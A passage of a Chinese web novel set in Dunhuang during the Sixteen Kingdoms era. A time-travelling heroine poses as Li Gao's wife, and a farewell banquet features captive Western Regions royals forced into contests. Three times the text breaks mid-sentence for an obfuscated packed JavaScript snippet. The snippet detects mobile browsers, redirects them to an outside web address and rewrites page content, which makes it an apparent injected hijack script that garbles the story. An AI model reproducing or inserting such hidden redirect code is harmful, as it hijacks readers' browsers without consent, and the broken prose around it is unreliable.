清俊的少年管事转眼更加稳重,自于阗一别已是数月,宋繇依旧谦逊有礼,却刻意保持了一段距离,对阿祇郑重行礼,“长嫂。” 阿祇嘴角一抽,相逢场面出乎意料,“还是叫名字,叫阿祇。” 玄盛温和地纠正她说:“这里人多眼杂,做戏就要全套。” 好吧,她和玄盛这草台班子虽是临时互助,对外的夫妻搭子关系,但对内她还是不习惯,没有以前直呼其名的痛快,但她的优点就是不纠结,不内耗。 “刚才来的是什么人?” “只是送帖子的。”宋繇将邀贴奉上。 “还有这个。”玄盛手中也有个折子。 正是收到的效谷令家眷户籍,他郑重交到阿祇手中,“夫人无需多虑,玄盛与段业有言在先同盟,前方战事粮草吃紧,玄玉阁捐钱捐物,段业允诺的户籍名册 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137623|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过是小事一桩。” 这声夫人,叫得好入戏。 她打开折子,上书:“陇西辛纳嫡女,李氏玄盛之妻。”这个折子有些烫手哇,阿祇有些犹豫,看向李暠说:“……是否对你多有不便?” 玄盛知她的意思,淡淡一笑,“无妨,家母在世时并为给玄盛定下婚配,‘辛夫人’在西域盛名斐然,长老们乐见其成。至于子嗣,李氏家主历代则贤而立,宗族自会挑选族中的德才子弟。” 他看着阿祇莞尔一笑,将乐见其成说得理所当然。 小少年上前,别别扭扭地喊:“阿秭,呃,主母……” 潭儿一身官宦人家小童打扮,一副依依不舍的样子,“我,想跟着你。” 宋繇同样青色儒生长衫紧跟其后,与行商之时的掌事干练模样大相径庭。他拉住潭儿,对阿祇行礼道:“吾这就带潭儿去靖恭堂。”宋繇始终一派端方守礼,大概是他不姓“李”的缘故吧……阿祇唏嘘古代宗族壁垒的强大,靖恭堂正是李氏培养子弟的学堂,阿祇也很想去但眼下还有事未了,她问潭儿:“什么时候回来?” 潭儿闪着大眼睛,委屈巴巴地说:“一旬修睦一日,主母有空,可否常来看我?” 阿祇点头,摸了摸大眼萌弟的头发,“潭儿安心学习,勤加练武,阿秭……咳,主母很快就去看你。”他们在彼此最无助的时候陪伴对方,阿祇温柔如秭似母,对这个穿金屡鞋的孤儿很是怜爱,于是潭儿对阿祇也很依赖。不过,阿祇仍记挂着阿竭耶的嘱托,她得确认鸠摩罗什无恙,还想打探一下克里雅的底细,也就是神秘的无谶禅师,那人浑身透着邪性,无法不让人忧虑。 努尔对潭儿汪汪两声,陪伴数日,人畜也有感情。 阿祇张开手臂,紧紧抱了潭儿一下。潭儿先是直觉瑟缩,心知是阿祇便放松下来,也试着回抱了过去。他依依不舍,宋繇耐心等待,宋繇其实是羡慕潭儿的,这孩子的身世是不幸的,但遇到阿祇也是幸运的。 马车渐渐离去,远望着身影的玄盛与阿祇静静伫立。 李暠身为敦煌郡辖内一个小小效谷县的父母官,他们的“夫妻任务”挑战,才刚刚开始。 玄玉阁是贯穿凉州与西域的大商贾,李氏根基在陇西,由于朝代更迭不辍,李家一直蛰伏,直到李暠与段业的赌局才开启了李玄盛的仕途,一个小小县令,对刚打下江山自立三河王的吕光而言,不值一提。然而,正所谓“三十年河东,三十年河西”,谁又知吕光征战四方,晚年却听信谗言杀了沮渠罗仇,致使人心思变,反叛四起。 玄盛看向身边的阿祇,“你在想什么?”阿祇回神,才发觉自己盯着玄盛看了半天了。她尴尬一笑,“呵呵,没什么,就觉得你很高。”唉……她这借口还能再敷衍一点吗? 玄盛眼睛深邃如星,含笑道:“段太守相邀,明日夫人意欲何为?” 阿祇感叹人生奇妙,第一个夫妻任务来得真快。 她笑着建议:“听闻玄郎君惧内,辛夫人不善交际,给郎君一个时辰独自应酬,如何?” “为何是一个时辰?” “这种送别宴无非推杯换盏,若别无隐情和阴谋,一个时辰足够郎君脱身,若超过一个时辰没消息,我就得准备接应了。”玄盛会心一笑,“夫人言之有理。” 阿祇自我感觉李暠惧内的人设妙极,可攻可守,玄盛完全不反驳,“若长生若有难,万望夫人相救为妙。” “长生?”阿祇好奇地望着他。 “长生,是我的小字。” 阿祇莞尔,“长生放心,‘辛夫人’定不会让你失望。” 二人说笑,谁知一语成谶。 58. 送行宴 敦煌城,坐落于最繁华的街道上,曾有一个生意最火的酒楼——且绿坊,它是玄玉阁上任主母的产业,只因且绿与白色皆为独山玉中的上品,主母尤为喜爱且绿玉质,由此得名。可是自从段业被吕光委任太守,且绿坊便充公官府,更名“弓槊坊”,名声霸气,其实厨子、舞娘、酒保都是旧人,但这里的客人不再是云商往来,而且多了许多武将贵人。 今夜,段业的送行宴,便是在此举办。 以前的招牌早已不在,取而代之的是三尺长,一尺宽的牌匾“弓槊坊”,字迹见风骨不乏飘逸。申时未到,弓槊坊门口就排起了送礼的车队,太守府里的管事来者不拒,将一车车礼品往后院拉,来得县令们似乎都不缺钱,这乱世,当官的大多都是银子捐来的,武官中多是征西军的旧部。 混在这人群里,一身低调蓝衫的李玄盛打扮得很是普通。 斜阳落在他清冷的半旧衣袍上多了层淡金,他的墨发束起,看上去像个温和儒雅的读书人,二人步伐不急不徐,身后只跟着稷,稷是独眼白发的西域楼兰人,也就是刚刚没落的鄯善国,敦煌的街道形色各异的人不少,西域人并不罕见,缓缓而来的玄郎君气质卓然,稷的孤冷显得生人勿近,风流人物即便再不张扬,也很快有人认出了他们。 对面有人喊他们道:“玄郎君,久违啊。” 一身暗红长袍举止轻浮的人,刚刚送出一车贵重礼品,转身就看到独自走来的玄盛,他眼睛一亮,便叫住同伴们在门口堵住他。玄盛认出,这是姜家捐官的大郎——姜丙仁。 若阿祇在场的话,一定觉得人如其名,黑圆的脸庞嘟嘟嘴,五短身材,这不正是姜饼人本饼。 “姜县令。”没错,他们现在是同僚了。 姜丙仁哈哈大笑,他从小就是被父亲拿陇西李玄盛当标杆教训着长大的,原来到头来,他们还不是同是敦煌郡的小小县令?他姜丙仁好歹是敦煌郡下领敦煌县的县令,而李暠,却是偏远的小小效谷令,他好想把他死去的爹拉过来看看,过去二十多年的打是不是都白挨了。 “怎么,昔日富可敌国的玄郎君如今空手而来,是连礼都送不起了么?” 姜丙仁圆圆的胖脸,不怀好意地嘲讽。 玄盛两袖清风,看了眼弓槊坊的牌匾,道:“在下的贺礼,看来段太守已经收到了。” 众人顺着他的目光看去,都到抽了口气,昔日敦煌最赚钱的酒楼且绿坊,真的说送就送了?看样子连新牌匾都是玄郎君亲手写的,好大的手笔。姜丙仁不屑,“什么世家子弟博学多才,不过是浑身铜臭,谁不知道这且绿坊是被官府查收,怎就成了你送的贺礼?” 李玄盛的目光从牌匾转到姜丙仁身上,眉头都不皱,“三河王有令官府不能强占民产,弓槊坊如今是官产,姜郎君可要慎言。” 姜丙仁自知失言,甩了甩袖子不再理他,拉着众人先进入了大门。 李玄盛独自站在门外,看不出喜怒,宋繇安静地站在长兄身后,玄盛的目光从牌匾上收回,二人也从容走进弓槊坊。 弓槊坊,原本是间奢华的酒楼,是由前任玄玉阁主母亲自设计的白色、绿色为主色调的高雅之所,酒盏器皿均由玉石所铸,装潢亦是有魏晋雅士之风。时过境迁,物是人非。现今的弓槊坊少不了弓马剑槊,酒楼中央曾经吟诗作赋起歌弄舞的台子,两个赤膊的壮汉在比试武艺,周围有一圈人激动地叫喊,最高台的空间摆放几席,长须儒将端坐主座,正是昔日在龟兹与李暠称兄道弟,如今官运亨通的两郡太守——段业。 段业在人群中看见李暠,给身边人使了眼色,侍者点头离去。 段业其人草根出身,在西征大漠时立了军功得吕光信任,其实他不讲究什么礼法排场,一贯喜欢礼贤下士。这场宴会官眷也是被邀请的,一帘之隔,内廷的环佩叮咚,笑语妍妍,依稀有舞姬身穿曳地丹纱文罗裙,舞动如燕飞舞的长飘带,华美热闹。 玄盛本想寻个同品级的席位就坐。这时,段业身边的侍者来到李暠跟前,彬彬有礼地说:“效谷令,太守有情。” 玄盛优雅领命,“客随主便。” 二人绕过格斗的台子走上最高台的酒席,这边有几张席,座位还都空着。段业起身,微微拱手相迎,“玄盛,别来无恙。” 李暠士族出身,行之有礼道:“恭贺段太守孤蓬万里。” 段业大笑,“哈哈,你我之间无需见外。坐,老夫与玄盛是忘年交,此番赴建康上任甚为不舍。”他随即压低声音,耳语道:“你我赌约老夫心中有数,他日定少不了玄盛的好处。” “多谢段太守……” 玄盛话音未落,身后又走来一人。 来人脚步孔武有力,伴着软甲的摩擦声,操着一口西域口音的汉话笑道:“段大人荣任两郡太守,可喜可贺。” “星夜老弟,你可来了。”段业开怀。 高大武将正是于阗一别近半年的狯胡王——星夜。 玄盛与身边的狯胡王眼神一掠,随即行礼,“狯胡王风采依旧。” 狯胡王收敛了性子,用汉文致谢:“二位大人,容我族人在关外迁徙屯田,星夜感激不尽。” 如今西域与凉州皆为吕光的地盘,段业身为咽喉要地的敦煌、建康两郡太守,于是得意志满道:“星夜客气了,玄盛在此,租种耕地他出的钱粮,老夫还能得税收,何乐不为?何况,平定建康一战狯胡王鼎力相助,老夫还未好好赏赐于你。” 昔日的狯胡王意气风发,“那也要多谢段大人重用。” 星夜忽的大手拍向玄盛肩头,连一族之王的架子都不摆了,熟络地说:“玄盛阿达,我阿娘甚喜你让人送来的江南丝绸和茶叶,让我好好感谢你,我这次带来了雪山貂皮和药材,段大人的那份已奉上,你的那份我一会儿亲自送到府上。” 玄盛微笑,“多谢狯胡王和老阏氏。” “二位入座吧,马上还有贵客来。” “还有贵客?” 话音刚落,门外通传来了一队人马,还拖了一辆巨大的囚车,里面有男有女,皆是年轻好样貌的高鼻深目西域人。一行人为首的高头大马上,跃下来身穿黑袍的男子,他身后还有一个黑袍人,二人面容相似,身高体壮浑身散发着危险气息,从发型和装饰来看是南匈奴人,也就是连打几场胜仗风头正盛的卢水胡人。 “沮渠两位少主到。” 玄盛手中酒杯微微一顿便放下,台下众人让开一条路,给两位凶神恶煞般的人物让路,虽然这些蛮夷无官职,但过去五胡乱华的百年间,北方谁没吃过匈奴人的苦。 “沮渠男成,沮渠蒙逊,见过段大人。” 段业捋着长胡须让他们免礼,笑呵呵地说:“两位少主无需多礼,听闻黑铁骑随三河王刚讨平彭晃、康宁归来,功高至伟。” 他们的伯父沮渠罗仇有了不少战功,在吕光面前的风头,有压住段业的趋势。 “若非段太守举荐,卢水胡又怎能随三河王建功立业?” 沮渠蒙逊与段业的渊源得追溯到龟兹,从老龟兹王白纯逃离延城就有黑铁骑的手笔,幕后少不了段业给吕光出谋划策。沮渠蒙逊蛰伏在于阗之时,暗中也与段业有通信,沮渠男成最近赔了黑铁骑,身后又没有汉人的助力已经落了下乘,他对段业恭维道:“多说无益,男成为段大人所选的礼物,可是金钱买不到的东西。” 段业从沮渠男成的眼神中看到了野心,他来了兴趣,“哦?” 啪啪两声,沮渠男成拍了拍手,弓槊坊门口被押送来十个年轻男女,皆是异域长相,气度非富即贵。段业不得而知他的用意,困惑地看向沮渠男成,“这是……” 沮渠男成笑说:“这些人都是三十六国的王族后裔,有他们在手,一半西域的权势便控制在段大人手中。”狯胡王也是西域人,最看不惯这些人的阴私伎俩,于是不屑道:“沮渠少主搜罗这些王室后裔,费了不少心思吧?” “狯胡王谬矣,西域形势动荡,这些没落王族与其在小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145725|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国争权夺势,还不如出来投奔一个靠山,若段公随便扶持一个,说不准比千军万马的好使,岂不是双赢?”说着,沮渠男成语带嘲讽地看向星夜,“狯胡王,这一点你应该深有体会才对?” 星夜手握成拳,瞪向沮渠男成。 想当初,龟兹联军大败就是中了吕光一网打尽的计,龟兹王白纯已失了民心,吕光扶持白震即位,他们这些千里来的援军还以为能分一杯羹,最后却都成了炮灰,也就是说若他们手中有狯胡的王室后裔,替换掉星夜也不是不可能的。 玄盛行走西域多年,这些王族中很多人脸熟,他用吐火罗语忽然开口:“你们,是自愿来此的吗?” 几人面面相觑,起初无人搭话,然后一个头戴毡帽浓眉深眼窝的女子,主动用汉文对在座的人表白衷心,“我是莎车的公主赫利佟,我的父王让我下嫁给驻扎在都城的汉军守将,可我不愿意就逃婚出来,我是自愿跟随大将军,说不定有一天也可以像于阗公主那样,成为女王。” “哼,异想天开。” 旁边的一个西域王子十分鄙视这个妖娆妄图勾人的公主,“想要莎车的王位,你也得配?” 这十个人貌似自愿投奔,但显然彼此并不和谐,段业高高在上并不多言语,狯胡王也一副看好戏的样子。玄盛注意到,稷正目光灼灼地盯着其中一个瘦弱的女子,那是他的故国——楼兰鄯善的小公主,族人散尽,她竟流浪至此。稷的脚步微动却被玄盛拉住,两人一起跪坐在他们的酒席处,不再关注匈奴人的举动。 面对这十个西域来的美貌贵气男女,段业饶有兴致地道:“这些人毕竟都是大漠的王室贵族,送予老夫万万不可啊。” “段太守无需烦忧,他们今日都是自愿给大人您送行助兴的。” 沮渠男成连夜让人从盐泽魔窟挑选送来这些贵族,其实又是舍蓝蓝的主意。舍蓝蓝居然也在这十人的行列,她看了眼沮渠男成眼神闪动,像一条美女蛇般等着演好戏给她的主人看,可惜沮渠男成没有发现,舍蓝蓝的余光始终没有离开过一个方向。 这边的热闹,被又一行人的到来所打破…… “什么助兴?本禅师是否也有幸一观啊?” 说着,门口又走进来几个人,为首的赤色缁衣袈裟的光头和尚,身后还跟着一男一女,皆是僧人比丘尼装扮,在场的很多人不认识为首的,但一见后来的人都纷纷起身,他们都认出身着朴素的大和尚,“鸠摩罗什大师。” 鸠摩罗什的译经早已传遍中原,只见褐色僧袍的鸠摩罗什清瘦中略显落魄,双手合十向众人还礼,阿竭耶默默跟在众人最后,有阿竭耶在的地方,似乎总在提醒世人鸠摩罗什的污点,同光鲜亮丽的无谶禅师比起来,鸠摩罗什就像落入凡尘的尘埃,然他却无悲无喜地对李暠微微颔首,谦和地道:“阿弥陀佛,玄盛施主,别来无恙。” 身披赤色袈裟的无谶禅师面色冷淡,也唱了声佛号:“阿弥陀佛。” 段业从团垫上起身,也不知道从哪里变出来一根拂尘,如修仙高人般对刚来的贵客行道礼,“诸位,这位乃老夫的无谶师弟,对了师弟,你怎么才将鸠摩罗什大师和阿竭耶公主请到?大师,快请上座。” 段业笃信占卜道法,连带着对佛教也很虔诚。 台下有人小声议论:听说无谶原本是他在沙漠中救下的乞丐,后来不知怎的成了幕僚,只有段业心里知晓,无谶的几次预言都成就了他在吕光面前的战功。这是无谶第一次正式亮相,他与段业一个为僧,一个修道,以师兄弟相称,众人自然要给几分颜面,纷纷拱手,无谶还礼,特意在沮渠蒙逊和李暠脸上多停留了几瞬。 段业兴致颇好,高声道:“感谢诸位前来为老夫送行,今夜定不醉不归。” 台上台下一片歌功颂德的祝酒,有人欢声,有人无语,狯胡王性子不喜这样的场合,玄盛也很少说话,他默默举杯与星夜同饮,只听酒杯重重落在桌上,星夜大声问:“那个匈奴少主,你说的助兴怎么还不开始?” 59. 辛夫人出山 不远的敦煌北郊,掉光了叶子的无忧树下站着一个女子,毫无睡意地抬眼望着夜空。东有启明,西有长庚。启明、长庚,皆金星也。曾经迷茫的辛薇也已经释怀,千年后的“祖慕祇”和“辛夫人”其实何尝不都是她自己? 然而,她在一直往前走,哪怕只有一小步,总会走出这个困局。 无忧树叶窸窣落下,初春的料峭让夜风中弥漫着寒凉。 辛薇穿越就快一年了,不仅没有找到回去的路,心里还多了许多牵挂。城中的送行宴开始了快一个时辰,不知那是不是个鸿门宴,初入仕途的天之骄子有没有被欺凌……她对五胡十六国那段的历史很纠结,黑暗的惨状和混乱的不可控,历史上的段业将被卢水胡沮渠兄弟推立凉州牧,西凉李暠与北凉沮渠蒙逊的对立在所难免,十年后将是个什么样的光景,她又将身处何处,是否置身事外?还是深陷局中悲秋伤春?皆未可知。 夜色见深,有侍女禀告:“夫人,外面来了个婆子,说是您的旧识。” 阿祇一时想不起来自己旧识中有这样一号人物,无事不登三宝殿,她说:“请进来吧。” 侍女离去,不一会儿带进来一个盘发粗衣的瘦削妇人,这人果然看着眼熟,她略一思量便想起来了妇人的身份,“李二娘?” 妇人一见到阿祇愣住了,这女子跟春天无忧树开的花朵一样娇艳美丽,她当家的告诉她夫人曾与她在庵堂见过一面,她还不信,大户人家的夫人尤其是玄郎君的夫人,怎的会出现在那样腌臜地方?这回一见,她算是开眼了,这等气质和长相可不就是前些日子的患病姐弟,只是如今阿祇身穿月白金丝长裙,犹如仙女。 李二娘立刻跪下行礼,恳切地致歉:“见过夫人,老婆子额前些日子在庵堂里有眼不识泰山,怠慢了夫人和小郎君。” 阿祇赶忙扶起她,“那日多谢二娘给我指了明路,不然我阿弟……呃我儿,大约要被病情耽误了。”谁懂,未婚有子还是那么大儿子的难言之隐啊。 李二娘是被宋繇找来的,只因阿祇在对玄盛讲述流浪敦煌之时受过这个妇人的帮助,她的村子便得了玄玉阁暗中的照拂,阿祇好奇李二娘的来意,“二娘今夜来此,是有什么事吗?” 李二娘敲了自己的脑门一下,真是老糊涂了。 她赶紧说:“额当家的就在且绿坊,就是现在的弓槊坊做掌柜,当家的让额跟夫人您通传那边的热闹,哦不,是消息。” 阿祇其实挺想装聋作哑啊,这样明目张胆地监视自家搭子,真的好吗?不过她很快她就释然了,李二娘当家的定是李暠的人,要不谁敢在敦煌地界说玄郎君的闲话,挑拨他的“夫妻关系”。 阿祇心知李暠此刻定然无恙,便客气道:“李二娘,但说无妨。” 她贴心地让人给她搬来了火炉和热茶,两人就开始聊起了宴会的八卦…… “刚开始的时候,来了好些个小官和官眷,他们带着大包小裹地把弓槊坊的后院都快填满了,那些官眷们涂脂抹粉的呦,内廷快呛得人出不来气,咳咳,哪里像夫人这……” 李二娘很想说几句讨好话,但实在憋不出来,阿祇怕她尴尬便为她斟茶,随着她聊道:“官员们都带了家眷?” “呵呵,不全是,额在后厨帮忙偶尔去送个菜,楼下有不少小官的官眷,楼上就看见大和尚带着他的媳妇,哦不,龟兹公主。” 阿祇知她说的是鸠摩罗什和阿竭耶,心中一喜,鸠摩罗什看来无恙。 李二娘滔滔不绝地又说:”额看到有几个官员给太守大人送了美姬,后来来了匈奴人又带来好些西域美人和男人。”阿祇认真听着,差点呛到……古代官场社交场合,送美女、舞姬的比比皆是,好吧,送男人也没啥奇怪的,李暠没必要因这些细节就让李二娘跑一趟吧? 她耐着心,听李二娘继续说:“那匈奴人说,那些西域人是来助兴的。” “哦?”阿祇有些好奇了。 其实,李二娘并不知道内情,这些西域人不是普通的舞姬奴隶,而是自视甚高的王室后裔,西域被吕光征西军平定后,王族四散逃亡的不少,还有难免生出“搏一搏”念头的,最后却都入了盐泽魔窟。 盐泽魔窟,如今出了个回鹘公主,为了得宠想出很多新点子讨好沮渠男成。比如,训练一批年轻的王族男女,送去笼络凉州的汉人。被困的王室们夜夜被魔窟的诅咒恐吓,很多人相信黑铁骑能有劫取灵魂祭祀的魔力,更何况他们的族人们仍留在魔窟,沮渠男成不怕这些人不听话。 沮渠蒙逊夺了黑铁骑指挥权,但对魔窟的囚犯并无兴趣,沮渠男成听信舍蓝蓝的点子,想着给沮渠蒙逊的前程放些“绊马钉”也不错,此计一出立刻得到了他的认可,王室贵族们自愿成为棋子,选出几个出色的很容易。 阿祇大概猜出了匈奴人带来的西域美人的来历。 李二娘还在滔滔不绝:“老天保佑,匈奴人竟让这十个人两两比试,谁和谁比靠抽签,比试的内容在场的官老爷们出,还说什么生死不论,你说,生死不论能比个试啥?那些娇滴滴的小娘子呦,赢了还能跟着大人们,若输了没人要就是死路一条,这不是造孽么……” 李二娘连忙收住嘴,她总忘记眼前聊天的人,是玄郎君的夫人。 玄郎君是什么人,战乱的时候敦煌易主如流水,他就是敦煌不变的地下城主。 阿祇的心绪繁杂,便问道:“二娘,玄郎君是如何说的?” 玄郎君如何说的,她哪能知道? 李二娘支支吾吾,“额没见到玄郎君,是额当家的跟额说来找夫人。” 又过了一盏茶功夫,阿祇总算理清了李二娘的回忆。 整个宴会起初很正常,玄郎君陪着段大人,直到卢水胡的沮渠兄弟带来一些西域人。她当家的跑来告诉她说,玄郎君“看”了他一眼。就这一眼,让他受宠若惊、坐立不安,想起宋掌事交代若玄郎君有什么风吹草动,立刻告知辛夫人,自家婆娘与辛夫人认识,所以掌柜的就急匆匆地找到李二娘,“二娘,你赶紧跑一趟玄郎君府上。” 当时李二娘正围着灶台切菜,她在围裙上擦擦手,疑惑地问:“玄郎君府?夫人怎会见额?” 她当家的姓王是且绿坊的老掌柜了,性子有点软又急:“宋掌事说夫人认得你,你就说事关玄郎君,她一准会见你,快去。” 李二娘稀里糊涂地就来了,七拼八凑地总算把王掌柜交代的都告诉了夫人。 阿祇闭口不言,若有所思。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173058|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李二娘见阿祇神色沉静,有些担心自己办事不利,她赶着快马车来这里报信,身上的衣裳都是烟熏味,也不知道宴席那边啥情况了,她捧着茶杯的手出了汗,半天一口水没敢喝。辛夫人看着人挺和善,但实在看不透。 她怯怯地问:“呃,夫人,不然额再过去看看,回来向夫人禀报?” 阿祇忽然说:“二娘,我跟你一起回去。” 阿祇招了招手,有侍女送来披风和面纱,她自行穿戴上加了句:“将我的圆月刀也取来吧。” 内院的侍女都是玄盛家族培养的家生子,伺候在她身边的这个叫兰溪,少言寡语,很是懂眼色,立刻取来她的双刀,刚好藏在她的披风里。李二娘一脑门子冷汗,辛夫人这……有点像她们村刘嫂子抓自己男人上青楼的架势,她仔细回想刚才有没有说错话……完了,她刚才都说了啥?根本记不得了。 二娘心都提了起来,“夫人,有话好好说。” 阿祇头发一束,面纱一蒙,额间的粉色婆罗花蕊将人衬得又神秘又惊艳,李二娘一时也愣住了。 阿祇回头看她站在原地,笑着安抚道:“别紧张,二娘,我当家的有难,我是去救他。” 李二娘当场石化,夫人的当家的不就是玄郎君吗? 玄郎君是手眼通天的人物,居然需要他的夫人来救?她像是得知了什么了不起的秘密,后背出了一层汗。救人事大,二娘拉住阿祇的手臂顿住,阿祇恍然大悟,“是你的马车装不下我们俩?二娘,是我思虑不周,谢谢你来告知,回去慢慢赶路,我先走了。” 李二娘本想带夫人走,差点忘了她是赶驴车过来的。 辛夫人吹了声口哨,一匹颜色奇怪的骆驼大踏步地跑来,停在阿祇年前跪下让女主人跃上背,然后很快消失在夜色里。李二娘确定自己没眼花,那是玄郎君彪悍的坐骑——白骆驼。 敦煌的这一夜,半个城的权贵都出动了, 宵禁延迟,大街上颇有过节的气氛。 马车滚滚,灯红酒绿。说到酒绿,阿祇不禁想起前两夜她的浊酒宿醉经历,虽记不大清,但李暠说以后不许她在外面喝酒,没想到风水轮流转,这么快就要轮到李暠在外喝酒,搬她这个救兵来了。白骆驼走得又稳又快,没一会儿,她就到了敦煌城最繁华的街口,她跳下白月,拍拍背让它自己回家,白骆驼对敦煌轻车熟路,有点见识的人都认识它。 酒坊里走出晃晃悠悠的人们也不知喝了多少,辛夫人走了没多久,抬头望去最灯火通明的正是“弓槊坊”。 弓槊坊前车水马龙,出入官吏居多,还有很多女眷随行。 阿祇的妆扮简单,身上披的月色金丝锦缎披风,里面同色广袖束腰对襟上衣,腰间丹色帛带系扎,下穿多折华裾,长发用一根白玉簪束起云髻,时下女子流行眉心浓黛,鬓间芙蓉色,天然淡雅倒衬得她气质无双。 弓槊坊门前的伙计看了一眼,就知道这位蒙面的夫人定是位官眷贵人。 伙计赶紧招呼:“夫人,请进。” 他引领着阿祇入内,刚踏入阵阵喝彩声迎面而来,华丽的舞台周围堆满了男女,鼓点铮鸣,一男一女身穿彩衣正在随乐旋转舞动。 “哇……精彩!”众人鼓掌惊呼。 60. 比试 弓槊坊里人声鼎沸。 酒坊中搭着华丽的竞技台,鼓手与弹着胡琴的乐手激情昂扬,乐声如雷,男舞者力量与技巧并存,女子亦舞技精湛,不知他们斗舞了多久,明显女子有些体力不支,鼓点却不停反快,二人皆是异域长相衣着华丽,台下一片喝彩声。 在不停旋转跳跃后,鼓声跳跃,女子踉跄了一下。 男舞者趁着拍子节奏加快,将她挤到边缘,一个不小心女舞者竟从高台上摔了下来,一片唏嘘声,女子趴在地上像是受了伤。赤着的脚有些红肿,女子忍着痛看向主台上的沮渠男成,可是沮渠男成光顾着与舍蓝蓝调情,旁边的沮渠蒙逊喝着酒,对比试完全没有兴趣。弓槊坊的角落里,阿祇蒙着面默默地看着这一幕。 灰发长须的主座之人点头,鼓点终于静止,台上的伶人高声道:“比试结束。” 沮渠男成慵懒地站了起来,冷冷看着舞台上留下的卷发男舞者,道:“你赢了。” 男舞者面露惊喜,对台上的男人说:“沮渠少主,我能选跟随的人了吗?” 沮渠男成有言在先,不过是助兴的比试,“只要在座的大人们接受你,你都可以随意选择。” 摔倒的女舞者就没那么幸运了,怕是伤筋动了骨,痛苦地坐在地上,作为输的一方表情中有掩饰不住的恐惧。男舞者看了一眼台下的女子,兔死狐悲的同情一瞬而过,便毫不犹豫地做出选择:“我,愿追随段太守。” 段业享受被人追捧的权利,但也懂树大招风的道理。他捋着稀疏的胡须,谦和地说:“哈哈哈,老夫已经得了三位佳人,不如王子另选主家吧。”话毕,西域王子脸色一变。 段业是他们在凉州最大的靠山,又是个修道之人,对门下客卿礼遇有佳。 这些王室作为匈奴人的俘虏,参与赌局前签了协议,赢者有自由或攀高枝的机会,输者要被达官贵人随意挑选,万一被抛弃就只能回盐泽魔窟。说来说去,他们的命运都将是匈奴人的暗桩,段业身后立着幸运的三人,他们中有唯二的另一个西域王子,一山不容二虎,他更不希望且末国的王子来分一杯羹。 相比之下,三个败者的去处就差强人意了。 首先,姜丙仁花钱拍下一位西域公主,这事估计够他吹牛一辈子了,至于会不会被姜家主打断腿就不得而知了。另外的两位公主,一个被武将强收作美姬,一个被无谶收作“弟子”,虽没有性命之忧,但从落魄王室沦为寄人篱下,乱世的人命都是草芥。 第四场比试结束,胜利者的归处仍有悬念。 段业身后站着神秘的无谶禅师,座上宾中首先是闭目养神的鸠摩罗什,阿竭耶见到段业扫视过来,慌忙垂下头,然后沮渠男成搂着舍蓝蓝喝酒看戏,沮渠蒙逊连眼皮都没抬一下,他的目光望向下一桌,刚要开口:“玄盛,星夜……” 星夜大笑,对玄盛举杯:“这酒没有上次你送的好,不过也凑合了。” 他一饮而尽,对刚刚比试的王子爱答不理的样子,段业有些不愉,他们一个喝酒的、一个冥想的,太不给面子。辛夫人挑眉看着众生相,眨了一下眼睛,看她家的夫君佛系的样子甚是可爱,玄盛好像有感应般朝这边的角落看来,穿过人群又光线昏暗,大概是看不清人的,只见玄盛嘴角微翘,如同湖光山色,阿祇有一瞬失神。 台上的段业正纠结着看向次席,那里坐着叫嚣助兴的“贵客”,那人吞咽了一大口酒,发出咕咚一声斜眼看来,正是久未露面的征西军先锋——吕纂。 老头子满脸堆笑道:“上将军?吕大郎君?” 吕纂是吕光的庶长子,却不得三河王所喜。在龟兹时,段业知晓他有个缺点就是好色,且荤素不计,段业笑得满脸褶皱,看向低调不少的上将军吕纂,关切道:“久未见将军,切莫与老夫见外才是。” 吕纂回道:“王子想追随段大人,某怎好夺爱?” 吕纂与玄盛隔壁而坐,他们有在漠南共同征伐的同袍之谊,回中原平定凉州本应青云直上,但在姑臧之战时,吕纂好大喜功被吕光收了兵权,沦落到无仗可打的地步,便随宦官来西北给段业做了传令官,这次官阶降级可谓伤害性不大,侮辱性极强。 阿祇躲在人群后藏好身影,她第一次近距离观看段业、吕纂等历史名人。 她对吕纂的史料印象不深,记得这个人有勇无谋、志大才疏,没有被吕光封为太子,便在太子吕绍上位天王后掌握兵权,逼吕绍自尽,篡位一年后就最终被堂兄弟夺权所杀。在座的还有鸠摩罗什、李暠和沮渠兄弟,他们都将是凉州乃至中原最有地位和权势的人物。久闻大名的鸠摩罗什有印度人的血统,看上去很是年轻,容貌清朗瘦削,可惜来不及仔细打量就被人打断。 西域王子拼了命地赢得比试,只希望找个靠山好好活着,他单膝跪地祈求:“段大人……” 中原贵族男女双宠不算禁忌,最有名的就是前燕慕容家的姐弟。大秦天王苻坚灭了燕国,见燕国清河公主和其弟慕容貌美便一同被收入后宫,姐弟得宠也是旷古奇闻,于是长安流传出了千古歌谣:“一雌复一雄,双飞入紫宫。” 